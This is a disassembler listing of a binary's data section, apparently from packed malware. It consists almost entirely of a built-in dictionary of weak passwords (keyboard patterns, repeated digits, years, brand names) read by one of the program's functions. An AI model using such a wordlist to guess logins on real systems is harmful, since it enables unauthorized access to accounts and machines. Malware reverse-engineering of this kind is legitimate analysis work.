a142536		db '142536',0           ; DATA XREF: .nsp0:0042E724o
		align 10h
a753951		db '753951',0           ; DATA XREF: .nsp0:0042E720o
		align 4
a951753		db '951753',0           ; DATA XREF: .nsp0:0042E71Co
		align 10h
a159357		db '159357',0           ; DATA XREF: .nsp0:0042E718o
		align 4
a753159		db '753159',0           ; DATA XREF: .nsp0:0042E714o
		align 10h
a13579		db '13579',0            ; DATA XREF: .nsp0:0042E710o
		align 4
a2684		db '2684',0             ; DATA XREF: .nsp0:0042E70Co
		align 10h
a2486		db '2486',0             ; DATA XREF: .nsp0:0042E708o
		align 4
aMnbv		db 'mnbv',0             ; DATA XREF: .nsp0:0042E704o
		align 10h
aMnb		db 'mnb',0              ; DATA XREF: .nsp0:0042E700o
a112233		db '112233',0           ; DATA XREF: .nsp0:0042E6FCo
		align 4
a3wsx		db '3wsx',0             ; DATA XREF: .nsp0:0042E6F8o
		align 4
a3edc		db '3edc',0             ; DATA XREF: .nsp0:0042E6F4o
		align 4
a2qaz		db '2qaz',0             ; DATA XREF: .nsp0:0042E6F0o
		align 4
a2wsx		db '2wsx',0             ; DATA XREF: .nsp0:0042E6ECo
		align 4
a1qaz		db '1qaz',0             ; DATA XREF: .nsp0:0042E6E8o
		align 4
aZzxxcc		db 'zzxxcc',0           ; DATA XREF: .nsp0:0042E6E4o
		align 4
aAassdd		db 'aassdd',0           ; DATA XREF: .nsp0:0042E6E0o
		align 4
aQqwwee		db 'qqwwee',0           ; DATA XREF: .nsp0:0042E6DCo
		align 4
aQqqwwweee	db 'qqqwwweee',0        ; DATA XREF: .nsp0:0042E6D8o
		align 4
aAaasssddd	db 'aaasssddd',0        ; DATA XREF: .nsp0:0042E6D4o
		align 4
aZzzxxxccc	db 'zzzxxxccc',0        ; DATA XREF: .nsp0:0042E6D0o
		align 10h
aQqww		db 'qqww',0             ; DATA XREF: .nsp0:0042E6CCo
		align 4
aAass		db 'aass',0             ; DATA XREF: .nsp0:0042E6C8o
		align 10h
aZzxx		db 'zzxx',0             ; DATA XREF: .nsp0:0042E6C4o
		align 4
aXxyyzz		db 'xxyyzz',0           ; DATA XREF: .nsp0:0042E6C0o
		align 10h
aZzzzzz		db 'zzzzzz',0           ; DATA XREF: .nsp0:0042E6BCo
		align 4
aZzzzz		db 'zzzzz',0            ; DATA XREF: .nsp0:0042E6B8o
		align 10h
aZzzz		db 'zzzz',0             ; DATA XREF: .nsp0:0042E6B4o
		align 4
aZzz		db 'zzz',0              ; DATA XREF: .nsp0:0042E6B0o
aZz		db 'zz',0               ; DATA XREF: .nsp0:0042E6ACo
		align 10h
aQqqqqq		db 'qqqqqq',0           ; DATA XREF: .nsp0:0042E6A4o
		align 4
aQqqqq		db 'qqqqq',0            ; DATA XREF: .nsp0:0042E6A0o
		align 10h
aQqqq		db 'qqqq',0             ; DATA XREF: .nsp0:0042E69Co
		align 4
aQqq		db 'qqq',0              ; DATA XREF: .nsp0:0042E698o
aQq		db 'qq',0               ; DATA XREF: .nsp0:0042E694o
		align 10h
aQ:					; DATA XREF: .nsp0:0042E690o
		unicode	0, <q>,0
aWwwwww		db 'wwwwww',0           ; DATA XREF: .nsp0:0042E68Co
		align 4
aWwwww		db 'wwwww',0            ; DATA XREF: .nsp0:0042E688o
		align 4
aWwww		db 'wwww',0             ; DATA XREF: .nsp0:0042E684o
		align 4
aWww		db 'www',0              ; DATA XREF: .nsp0:0042E680o
aWw		db 'ww',0               ; DATA XREF: .nsp0:0042E67Co
		align 4
aW:					; DATA XREF: .nsp0:0042E678o
		unicode	0, <w>,0
aVvvvvv		db 'vvvvvv',0           ; DATA XREF: .nsp0:0042E674o
		align 10h
aVvvvv		db 'vvvvv',0            ; DATA XREF: .nsp0:0042E670o
		align 4
aVvvv		db 'vvvv',0             ; DATA XREF: .nsp0:0042E66Co
		align 10h
aVvv		db 'vvv',0              ; DATA XREF: sub_40CE55+267Co
					; .nsp0:0042E668o
aVv		db 'vv',0               ; DATA XREF: .nsp0:0042E664o
		align 4
aV:					; DATA XREF: .nsp0:0042E660o
		unicode	0, <v>,0
aYyyyyy		db 'yyyyyy',0           ; DATA XREF: .nsp0:0042E65Co
		align 4
aYyyyy		db 'yyyyy',0            ; DATA XREF: .nsp0:0042E658o
		align 4
aYyyy		db 'yyyy',0             ; DATA XREF: .nsp0:0042E654o
		align 4
aYyy		db 'yyy',0              ; DATA XREF: .nsp0:0042E650o
aYy		db 'yy',0               ; DATA XREF: .nsp0:0042E64Co
		align 4
aY:					; DATA XREF: .nsp0:0042E648o
		unicode	0, <y>,0
aTttttt		db 'tttttt',0           ; DATA XREF: .nsp0:0042E644o
		align 4
aTtttt		db 'ttttt',0            ; DATA XREF: .nsp0:0042E640o
		align 10h
aTttt		db 'tttt',0             ; DATA XREF: .nsp0:0042E63Co
		align 4
aTtt		db 'ttt',0              ; DATA XREF: .nsp0:0042E638o
aTt		db 'tt',0               ; DATA XREF: .nsp0:0042E634o
		align 10h
aT:					; DATA XREF: .nsp0:0042E630o
		unicode	0, <t>,0
aSsssss		db 'ssssss',0           ; DATA XREF: .nsp0:0042E62Co
		align 4
aSssss		db 'sssss',0            ; DATA XREF: .nsp0:0042E628o
		align 4
aSsss		db 'ssss',0             ; DATA XREF: .nsp0:0042E624o
		align 4
aSss		db 'sss',0              ; DATA XREF: .nsp0:0042E620o
aSs		db 'ss',0               ; DATA XREF: .nsp0:0042E61Co
		align 4
aS_4:					; DATA XREF: .nsp0:0042E618o
		unicode	0, <s>,0
aUuuuuu		db 'uuuuuu',0           ; DATA XREF: .nsp0:0042E614o
		align 10h
aUuuuu		db 'uuuuu',0            ; DATA XREF: .nsp0:0042E610o
		align 4
aUuuu		db 'uuuu',0             ; DATA XREF: .nsp0:0042E60Co
		align 10h
aUuu		db 'uuu',0              ; DATA XREF: .nsp0:0042E608o
aUu		db 'uu',0               ; DATA XREF: .nsp0:0042E604o
		align 4
aU:					; DATA XREF: .nsp0:0042E600o
		unicode	0, <u>,0
aPppppp		db 'pppppp',0           ; DATA XREF: .nsp0:0042E5FCo
		align 4
aPpppp		db 'ppppp',0            ; DATA XREF: .nsp0:0042E5F8o
		align 4
aPppp		db 'pppp',0             ; DATA XREF: .nsp0:0042E5F4o
		align 4
aPpp		db 'ppp',0              ; DATA XREF: .nsp0:0042E5F0o
aPp		db 'pp',0               ; DATA XREF: .nsp0:0042E5ECo
		align 4
aP:					; DATA XREF: .nsp0:0042E5E8o
		unicode	0, <p>,0
aOooooo		db 'oooooo',0           ; DATA XREF: .nsp0:0042E5E4o
		align 4
aOoooo		db 'ooooo',0            ; DATA XREF: .nsp0:0042E5E0o
		align 10h
aOooo		db 'oooo',0             ; DATA XREF: .nsp0:0042E5DCo
		align 4
aOoo		db 'ooo',0              ; DATA XREF: .nsp0:0042E5D8o
aOo		db 'oo',0               ; DATA XREF: .nsp0:0042E5D4o
		align 10h
aO:					; DATA XREF: .nsp0:0042E5D0o
		unicode	0, <o>,0
aNnnnnn		db 'nnnnnn',0           ; DATA XREF: .nsp0:0042E5CCo
		align 4
aNnnnn		db 'nnnnn',0            ; DATA XREF: .nsp0:0042E5C8o
		align 4
aNnnn		db 'nnnn',0             ; DATA XREF: .nsp0:0042E5C4o
		align 4
aNnn		db 'nnn',0              ; DATA XREF: .nsp0:0042E5C0o
aNn		db 'nn',0               ; DATA XREF: .nsp0:0042E5BCo
		align 4
aN:					; DATA XREF: .nsp0:0042E5B8o
		unicode	0, <n>,0
aMmmmmm		db 'mmmmmm',0           ; DATA XREF: .nsp0:0042E5B4o
		align 10h
aMmmmm		db 'mmmmm',0            ; DATA XREF: .nsp0:0042E5B0o
		align 4
aMmmm		db 'mmmm',0             ; DATA XREF: .nsp0:0042E5ACo
		align 10h
aMmm		db 'mmm',0              ; DATA XREF: .nsp0:0042E5A8o
aMm		db 'mm',0               ; DATA XREF: .nsp0:0042E5A4o
		align 4
aM:					; DATA XREF: .nsp0:0042E5A0o
		unicode	0, <m>,0
aLlllll		db 'llllll',0           ; DATA XREF: .nsp0:0042E59Co
		align 4
aLllll		db 'lllll',0            ; DATA XREF: .nsp0:0042E598o
		align 4
aLlll		db 'llll',0             ; DATA XREF: .nsp0:0042E594o
		align 4
aLll		db 'lll',0              ; DATA XREF: .nsp0:0042E590o
aLl		db 'll',0               ; DATA XREF: .nsp0:0042E58Co
		align 4
asc_42EA4C:				; DATA XREF: .nsp0:0042E588o
		unicode	0, <l>,0
aKkkkkk		db 'kkkkkk',0           ; DATA XREF: .nsp0:0042E584o
		align 4
aKkkkk		db 'kkkkk',0            ; DATA XREF: .nsp0:0042E580o
		align 10h
aKkkk		db 'kkkk',0             ; DATA XREF: .nsp0:0042E57Co
		align 4
aKkk		db 'kkk',0              ; DATA XREF: .nsp0:0042E578o
aKk		db 'kk',0               ; DATA XREF: .nsp0:0042E574o
		align 10h
aK:					; DATA XREF: .nsp0:0042E570o
		unicode	0, <k>,0
aJjjjjj		db 'jjjjjj',0           ; DATA XREF: .nsp0:0042E56Co
		align 4
aJjjjj		db 'jjjjj',0            ; DATA XREF: .nsp0:0042E568o
		align 4
aJjjj		db 'jjjj',0             ; DATA XREF: .nsp0:0042E564o
		align 4
aJjj		db 'jjj',0              ; DATA XREF: .nsp0:0042E560o
aJj		db 'jj',0               ; DATA XREF: .nsp0:0042E55Co
		align 4
aJ:
		unicode	0, <j>,0
aIiiiii		db 'iiiiii',0
		align 10h
aIiiii		db 'iiiii',0
		align 4
aIiii		db 'iiii',0
		align 10h
aIii		db 'iii',0              ; DATA XREF: .nsp0:0042E548o
aIi		db 'ii',0
		align 4
aI_0:
		unicode	0, <i>,0
aHhhhhh		db 'hhhhhh',0
		align 4
aHhhhh		db 'hhhhh',0
		align 4
aHhhh		db 'hhhh',0             ; DATA XREF: .nsp0:0042E534o
		align 4
aHhh		db 'hhh',0
aHh		db 'hh',0
		align 4
		unicode	0, <h>,0
aGggggg		db 'gggggg',0           ; DATA XREF: .nsp0:0042E524o
		align 4
aGgggg		db 'ggggg',0
		align 10h
aGggg		db 'gggg',0
		align 4
aGgg		db 'ggg',0
aGg		db 'gg',0
		align 10h
aG:
		unicode	0, <g>,0
aEeeeee		db 'eeeeee',0           ; DATA XREF: .nsp0:0042E50Co
		align 4
aEeeee		db 'eeeee',0
		align 4
aEeee		db 'eeee',0             ; DATA XREF: .nsp0:0042E504o
		align 4
aEee		db 'eee',0              ; DATA XREF: .nsp0:0042E500o
aEe		db 'ee',0
		align 4
aE:
		unicode	0, <e>,0
aFffff		db 'fffff',0
		align 10h
aFfff		db 'ffff',0
		align 4
aFff		db 'fff',0
aFf		db 'ff',0
		align 10h
aF:
		unicode	0, <f>,0
aDdddd		db 'ddddd',0            ; DATA XREF: .nsp0:0042E4E0o
		align 4
aDddd		db 'dddd',0             ; DATA XREF: .nsp0:0042E4DCo
		align 4
aDdd		db 'ddd',0
aDd_2		db 'dd',0               ; DATA XREF: .nsp0:0042E4D4o
		align 4
aD:
		unicode	0, <d>,0
aCcccccccc	db 'ccccccccc',0
		align 4
aCccccccc	db 'cccccccc',0         ; DATA XREF: .nsp0:0042E4C8o
		align 4
aCcccccc	db 'ccccccc',0
aCccccc		db 'cccccc',0
		align 4
aCcccc		db 'ccccc',0
		align 10h
aCccc_0		db 'cccc',0
		align 4
aCcc		db 'ccc',0
aCc		db 'cc',0
		align 10h
aC_1:
		unicode	0, <c>,0
aBbbbbbbbb	db 'bbbbbbbbb',0
		align 10h
aBbbbbbbb	db 'bbbbbbbb',0
		align 4
aBbbbbbb	db 'bbbbbbb',0
aBbbbbb		db 'bbbbbb',0           ; DATA XREF: .nsp0:0042E49Co
		align 4
aBbbbb		db 'bbbbb',0            ; DATA XREF: .nsp0:0042E498o
		align 4
aBbbb		db 'bbbb',0
		align 4
aBbb		db 'bbb',0
aBb		db 'bb',0               ; DATA XREF: .nsp0:0042E48Co
		align 4
aB_0:					; DATA XREF: .nsp0:0042E488o
		unicode	0, <b>,0
aRfv		db 'rfv',0              ; DATA XREF: .nsp0:0042E484o
aEdc		db 'edc',0              ; DATA XREF: .nsp0:0042E480o
aWsx		db 'wsx',0              ; DATA XREF: .nsp0:0042E47Co
aQaz		db 'qaz',0              ; DATA XREF: .nsp0:0042E478o
aAsdfghjkl	db 'asdfghjkl',0
		align 4
aAsdfghjk	db 'asdfghjk',0
		align 10h
aAsdfghj	db 'asdfghj',0
aAsdfgh		db 'asdfgh',0           ; DATA XREF: .nsp0:0042E468o
		align 10h
aAsdfg		db 'asdfg',0            ; DATA XREF: .nsp0:0042E464o
		align 4
aAs		db 'as',0               ; DATA XREF: .nsp0:0042E458o
		align 4
aZxcvbnm	db 'zxcvbnm',0          ; DATA XREF: .nsp0:0042E454o
aZxcvbn		db 'zxcvbn',0           ; DATA XREF: .nsp0:0042E450o
		align 4
aZxcvb		db 'zxcvb',0            ; DATA XREF: .nsp0:0042E44Co
		align 4
aZxc		db 'zxc',0              ; DATA XREF: .nsp0:0042E444o
aZx		db 'zx',0               ; DATA XREF: .nsp0:0042E440o
		align 4
aZ:					; DATA XREF: .nsp0:0042E43Co
					; .nsp0:0042E6A8o
		unicode	0, <z>,0
aKonyang	db 'konyang',0          ; DATA XREF: .nsp0:0042E438o
aToyota_0	db 'TOYOTA',0           ; DATA XREF: .nsp0:0042E400o
		align 10h
aKor		db 'KOR',0              ; DATA XREF: .nsp0:0042E3FCo
aKor_0		db 'kor',0              ; DATA XREF: .nsp0:0042E3F4o
aChi		db 'chi',0              ; DATA XREF: .nsp0:0042E3F0o
aChi_0		db 'CHI',0              ; DATA XREF: .nsp0:0042E3ECo
aSystem		db 'system',0           ; DATA XREF: .nsp0:0042E3E4o
					; .nsp0:0042E728o
		align 4
aServices	db 'services',0         ; DATA XREF: .nsp0:0042E3E0o
		align 4
aServers	db 'servers',0          ; DATA XREF: .nsp0:0042E3DCo
aServer_0	db 'server',0           ; DATA XREF: .nsp0:0042E3D4o
		align 4
aQwertyuiop	db 'qwertyuiop',0       ; DATA XREF: .nsp0:0042E3CCo
		align 10h
aQwertyuio	db 'qwertyuio',0        ; DATA XREF: .nsp0:0042E3C8o
		align 4
aQwertyui	db 'qwertyui',0         ; DATA XREF: .nsp0:0042E3C4o
		align 4
aQwertyu	db 'qwertyu',0          ; DATA XREF: .nsp0:0042E3C0o
aQwe		db 'qwe',0              ; DATA XREF: .nsp0:0042E3B0o
aQw		db 'qw',0               ; DATA XREF: .nsp0:0042E3ACo
		align 4
aPassword1	db 'password1',0        ; DATA XREF: .nsp0:0042E3A8o
		align 4
aPassword_0	db 'Password',0         ; DATA XREF: .nsp0:0042E3A4o
		align 10h
aAaaaaaaaa	db 'aaaaaaaaa',0        ; DATA XREF: .nsp0:0042E3A0o
		align 4
aAaaaaaaa	db 'aaaaaaaa',0         ; DATA XREF: .nsp0:0042E39Co
		align 4
aAaaaaaa	db 'aaaaaaa',0          ; DATA XREF: .nsp0:0042E398o
aAaaaaa		db 'aaaaaa',0           ; DATA XREF: .nsp0:0042E394o
		align 4
aAaaaa		db 'aaaaa',0            ; DATA XREF: .nsp0:0042E390o
		align 10h
aAaaa		db 'aaaa',0             ; DATA XREF: .nsp0:0042E38Co
		align 4
aAa		db 'aa',0               ; DATA XREF: .nsp0:0042E384o
		align 4
aNokia		db 'NOKIA',0            ; DATA XREF: .nsp0:0042E378o
		align 4
aSex		db 'SEX',0              ; DATA XREF: .nsp0:0042E374o
aCreative	db 'CREATIVE',0         ; DATA XREF: .nsp0:0042E370o
		align 4
aDisc_0		db 'DISC',0             ; DATA XREF: .nsp0:0042E36Co
		align 4
aMicrosoft	db 'MICROSOFT',0        ; DATA XREF: .nsp0:0042E368o
		align 4
aMaster_0	db 'MASTER',0           ; DATA XREF: .nsp0:0042E364o
		align 10h
aSony_0		db 'SONY',0             ; DATA XREF: .nsp0:0042E360o
		align 4
aSamsung	db 'samsung',0          ; DATA XREF: .nsp0:0042E35Co
aSamsung_0	db 'SAMSUNG',0          ; DATA XREF: .nsp0:0042E358o
aSony		db 'sony',0             ; DATA XREF: .nsp0:0042E354o
		align 10h
a7654321	db '7654321',0          ; DATA XREF: .nsp0:0042E350o
a4321		db '4321',0             ; DATA XREF: .nsp0:0042E344o
		align 10h
a321		db '321',0              ; DATA XREF: .nsp0:0042E340o
a2006		db '2006',0             ; DATA XREF: .nsp0:0042E338o
		align 4
a2005		db '2005',0             ; DATA XREF: .nsp0:0042E334o
		align 4
a2004		db '2004',0             ; DATA XREF: .nsp0:0042E330o
		align 4
a2001		db '2001',0             ; DATA XREF: .nsp0:0042E324o
		align 4
a2000		db '2000',0             ; DATA XREF: .nsp0:0042E320o
		align 4
a1999		db '1999',0             ; DATA XREF: .nsp0:0042E31Co
		align 4
a1998		db '1998',0             ; DATA XREF: .nsp0:0042E318o
		align 4
a1997		db '1997',0             ; DATA XREF: .nsp0:0042E314o
		align 4
a1996		db '1996',0             ; DATA XREF: .nsp0:0042E310o
		align 4
a1995		db '1995',0             ; DATA XREF: .nsp0:0042E30Co
		align 4
a1994		db '1994',0             ; DATA XREF: .nsp0:0042E308o
		align 4
a1993		db '1993',0             ; DATA XREF: .nsp0:0042E304o
		align 4
a1992		db '1992',0             ; DATA XREF: .nsp0:0042E300o
		align 4
a1991		db '1991',0             ; DATA XREF: .nsp0:0042E2FCo
		align 4
a1990		db '1990',0             ; DATA XREF: .nsp0:0042E2F8o
		align 4
a1989		db '1989',0             ; DATA XREF: .nsp0:0042E2F4o
		align 4
a1988		db '1988',0             ; DATA XREF: .nsp0:0042E2F0o
		align 4
a1987		db '1987',0             ; DATA XREF: .nsp0:0042E2ECo
		align 4
a1986		db '1986',0             ; DATA XREF: .nsp0:0042E2E8o
		align 4
a1985		db '1985',0             ; DATA XREF: .nsp0:0042E2E4o
		align 4
a1984		db '1984',0             ; DATA XREF: .nsp0:0042E2E0o
		align 4
a1983		db '1983',0             ; DATA XREF: .nsp0:0042E2DCo
		align 4
a1982		db '1982',0             ; DATA XREF: .nsp0:0042E2D8o
		align 4
a1981		db '1981',0             ; DATA XREF: .nsp0:0042E2D4o
		align 4
a1980		db '1980',0             ; DATA XREF: .nsp0:0042E2D0o
		align 4
a1979		db '1979',0             ; DATA XREF: .nsp0:0042E2CCo
		align 4
a1978		db '1978',0             ; DATA XREF: .nsp0:0042E2C8o
		align 4
a1977		db '1977',0             ; DATA XREF: .nsp0:0042E2C4o
		align 4
a1976		db '1976',0             ; DATA XREF: .nsp0:0042E2C0o
		align 4
a1975		db '1975',0             ; DATA XREF: .nsp0:0042E2BCo
		align 4
a1974		db '1974',0             ; DATA XREF: .nsp0:0042E2B8o
		align 4
a1973		db '1973',0             ; DATA XREF: .nsp0:0042E2B4o
		align 4
a1972		db '1972',0             ; DATA XREF: .nsp0:0042E2B0o
		align 4
a1971		db '1971',0             ; DATA XREF: .nsp0:0042E2ACo
		align 4
a1970		db '1970',0             ; DATA XREF: .nsp0:0042E2A8o
		align 4
a1969		db '1969',0             ; DATA XREF: .nsp0:0042E2A4o
		align 4
a1968		db '1968',0             ; DATA XREF: .nsp0:0042E2A0o
		align 4
a1967		db '1967',0             ; DATA XREF: .nsp0:0042E29Co
		align 4
a1966		db '1966',0             ; DATA XREF: .nsp0:0042E298o
		align 4
a1965		db '1965',0             ; DATA XREF: .nsp0:0042E294o
		align 4
a1964		db '1964',0             ; DATA XREF: .nsp0:0042E290o
		align 4
a1963		db '1963',0             ; DATA XREF: .nsp0:0042E28Co
		align 4
a1962		db '1962',0             ; DATA XREF: .nsp0:0042E288o
		align 4
a1961		db '1961',0             ; DATA XREF: .nsp0:0042E284o
		align 4
a1960		db '1960',0             ; DATA XREF: .nsp0:0042E280o
		align 4
a1959		db '1959',0             ; DATA XREF: .nsp0:0042E27Co
		align 4
a1958		db '1958',0             ; DATA XREF: .nsp0:0042E278o
		align 4
a1957		db '1957',0             ; DATA XREF: .nsp0:0042E274o
		align 4
a1956		db '1956',0             ; DATA XREF: .nsp0:0042E270o
		align 4
a1955		db '1955',0             ; DATA XREF: .nsp0:0042E26Co
		align 4
a1954		db '1954',0             ; DATA XREF: .nsp0:0042E268o
		align 4
a1953		db '1953',0             ; DATA XREF: .nsp0:0042E264o
		align 4
a1952		db '1952',0             ; DATA XREF: .nsp0:0042E260o
		align 4
a1234qwe	db '1234qwe',0          ; DATA XREF: .nsp0:0042E25Co
a1234asd	db '1234asd',0          ; DATA XREF: .nsp0:0042E258o
a1234abc	db '1234abc',0          ; DATA XREF: .nsp0:0042E254o
a123qwer	db '123qwer',0          ; DATA XREF: .nsp0:0042E240o
a12qwe		db '12qwe',0            ; DATA XREF: .nsp0:0042E23Co
		align 4
a12asd		db '12asd',0            ; DATA XREF: .nsp0:0042E238o
		align 4
a12abc		db '12abc',0            ; DATA XREF: .nsp0:0042E234o
		align 4
a12qwer		db '12qwer',0           ; DATA XREF: .nsp0:0042E230o
		align 4
a1qwe		db '1qwe',0             ; DATA XREF: .nsp0:0042E22Co
		align 4
a1asd		db '1asd',0             ; DATA XREF: .nsp0:0042E228o
		align 4
a1abc		db '1abc',0             ; DATA XREF: .nsp0:0042E224o
		align 4
a1qwer		db '1qwer',0            ; DATA XREF: .nsp0:0042E220o
		align 4
a123467890	db '123467890',0        ; DATA XREF: .nsp0:0042E21Co
		align 4
a12346789	db '12346789',0         ; DATA XREF: .nsp0:0042E218o
		align 4
a1234678	db '1234678',0          ; DATA XREF: .nsp0:0042E214o
a123467		db '123467',0           ; DATA XREF: .nsp0:0042E210o
		align 4
a12346		db '12346',0            ; DATA XREF: .nsp0:0042E20Co
		align 4
a121		db '121',0              ; DATA XREF: .nsp0:0042E1E4o
a1020		db '1020',0             ; DATA XREF: .nsp0:0042E1DCo
		align 4
a0258		db '0258',0             ; DATA XREF: .nsp0:0042E1D8o
		align 10h
a8520		db '8520',0             ; DATA XREF: .nsp0:0042E1D4o
		align 4
a987		db '987',0              ; DATA XREF: .nsp0:0042E1D0o
a789		db '789',0              ; DATA XREF: .nsp0:0042E1CCo
a654		db '654',0              ; DATA XREF: .nsp0:0042E1C8o
a456		db '456',0              ; DATA XREF: .nsp0:0042E1C4o
a1122		db '1122',0             ; DATA XREF: .nsp0:0042E1C0o
		align 10h
a0147		db '0147',0             ; DATA XREF: .nsp0:0042E1BCo
		align 4
a7410		db '7410',0             ; DATA XREF: .nsp0:0042E1B8o
		align 10h
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:0042E1B0o
		align 4
a999999999	db '999999999',0        ; DATA XREF: .nsp0:0042E1ACo
		align 4
a99999999	db '99999999',0         ; DATA XREF: .nsp0:0042E1A8o
		align 4
a9999999	db '9999999',0          ; DATA XREF: .nsp0:0042E1A4o
a999999		db '999999',0           ; DATA XREF: .nsp0:0042E1A0o
		align 4
a99999		db '99999',0            ; DATA XREF: .nsp0:0042E19Co
		align 4
a9999		db '9999',0             ; DATA XREF: .nsp0:0042E198o
		align 4
a999		db '999',0              ; DATA XREF: .nsp0:0042E194o
a99		db '99',0               ; DATA XREF: .nsp0:0042E190o
		align 4
a9:					; DATA XREF: .nsp0:0042E18Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:0042E188o
		align 4
a888888888	db '888888888',0        ; DATA XREF: .nsp0:0042E184o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:0042E17Co
a888888		db '888888',0           ; DATA XREF: .nsp0:0042E178o
		align 4
a88888		db '88888',0            ; DATA XREF: .nsp0:0042E174o
		align 10h
a8888		db '8888',0             ; DATA XREF: .nsp0:0042E170o
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:0042E16Co
a88		db '88',0               ; DATA XREF: .nsp0:0042E168o
		align 10h
a8:					; DATA XREF: .nsp0:0042E164o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:0042E160o
		align 10h
a777777777	db '777777777',0        ; DATA XREF: .nsp0:0042E15Co
		align 4
a77777777	db '77777777',0         ; DATA XREF: .nsp0:0042E158o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:0042E154o
a777777		db '777777',0           ; DATA XREF: .nsp0:0042E150o
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:0042E14Co
		align 10h
a7777		db '7777',0             ; DATA XREF: .nsp0:0042E148o
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:0042E144o
a77		db '77',0               ; DATA XREF: .nsp0:0042E140o
		align 10h
a7:					; DATA XREF: .nsp0:0042E13Co
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:0042E138o
		align 10h
a666666666	db '666666666',0        ; DATA XREF: .nsp0:0042E134o
		align 4
a66666666	db '66666666',0         ; DATA XREF: .nsp0:0042E130o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:0042E12Co
a666666		db '666666',0           ; DATA XREF: .nsp0:0042E128o
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:0042E124o
		align 10h
a6666		db '6666',0             ; DATA XREF: .nsp0:0042E120o
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:0042E11Co
a66		db '66',0               ; DATA XREF: .nsp0:0042E118o
		align 10h
a6:					; DATA XREF: .nsp0:0042E114o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:0042E110o
		align 10h
a555555555	db '555555555',0        ; DATA XREF: .nsp0:0042E10Co
		align 4
a55555555	db '55555555',0         ; DATA XREF: .nsp0:0042E108o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:0042E104o
a555555		db '555555',0           ; DATA XREF: .nsp0:0042E100o
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:0042E0FCo
		align 10h
a5555		db '5555',0             ; DATA XREF: .nsp0:0042E0F8o
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:0042E0F4o
a55		db '55',0               ; DATA XREF: .nsp0:0042E0F0o
		align 10h
a5:					; DATA XREF: .nsp0:0042E0ECo
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:0042E0E8o
		align 10h
a444444444	db '444444444',0        ; DATA XREF: .nsp0:0042E0E4o
		align 4
a44444444	db '44444444',0         ; DATA XREF: .nsp0:0042E0E0o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:0042E0DCo
a444444		db '444444',0           ; DATA XREF: .nsp0:0042E0D8o
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:0042E0D4o
		align 10h
a4444		db '4444',0             ; DATA XREF: .nsp0:0042E0D0o
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:0042E0CCo
a44		db '44',0               ; DATA XREF: .nsp0:0042E0C8o
		align 10h
a4:					; DATA XREF: .nsp0:0042E0C4o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:0042E0C0o
		align 10h
a333333333	db '333333333',0        ; DATA XREF: .nsp0:0042E0BCo
		align 4
a33333333	db '33333333',0         ; DATA XREF: .nsp0:0042E0B8o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:0042E0B4o
a333333		db '333333',0           ; DATA XREF: .nsp0:0042E0B0o
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:0042E0ACo
		align 10h
a3333		db '3333',0             ; DATA XREF: .nsp0:0042E0A8o
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:0042E0A4o
a33		db '33',0               ; DATA XREF: .nsp0:0042E0A0o
		align 10h
a3:					; DATA XREF: .nsp0:0042E09Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:0042E098o
		align 10h
a222222222	db '222222222',0        ; DATA XREF: .nsp0:0042E094o
		align 4
a22222222	db '22222222',0         ; DATA XREF: .nsp0:0042E090o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:0042E08Co
a222222		db '222222',0           ; DATA XREF: .nsp0:0042E088o
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:0042E084o
		align 10h
a2222		db '2222',0             ; DATA XREF: .nsp0:0042E080o
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:0042E07Co
a22		db '22',0               ; DATA XREF: .nsp0:0042E078o
		align 10h
a2:					; DATA XREF: .nsp0:0042E074o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:0042E070o
		align 10h
a111111111	db '111111111',0        ; DATA XREF: .nsp0:0042E06Co
		align 4
a1111111	db '1111111',0          ; DATA XREF: .nsp0:0042E064o
a11111		db '11111',0            ; DATA XREF: .nsp0:0042E05Co
		align 4
a1111		db '1111',0             ; DATA XREF: .nsp0:0042E058o
		align 4
a11		db '11',0               ; DATA XREF: .nsp0:0042E050o
		align 4
a010		db '010',0              ; DATA XREF: .nsp0:0042E040o
a009		db '009',0              ; DATA XREF: .nsp0:0042E03Co
a008		db '008',0              ; DATA XREF: .nsp0:0042E038o
a006		db '006',0              ; DATA XREF: .nsp0:0042E030o
a005		db '005',0              ; DATA XREF: sub_40CE55+215o
					; .nsp0:0042E02Co
a004		db '004',0              ; DATA XREF: .nsp0:0042E028o
a003		db '003',0              ; DATA XREF: .nsp0:0042E024o
a002		db '002',0              ; DATA XREF: .nsp0:0042E020o
a001		db '001',0              ; DATA XREF: sub_40CE55+200o
					; .nsp0:0042E01Co
asc_42F2CC	db '*********',0        ; DATA XREF: .nsp0:0042E018o
		align 4
asc_42F2D8	db '********',0         ; DATA XREF: .nsp0:0042E014o
		align 4
asc_42F2E4	db '*******',0          ; DATA XREF: .nsp0:0042E010o
asc_42F2EC	db '******',0           ; DATA XREF: .nsp0:0042E00Co
		align 4
asc_42F2F4	db '*****',0            ; DATA XREF: .nsp0:0042E008o
		align 4
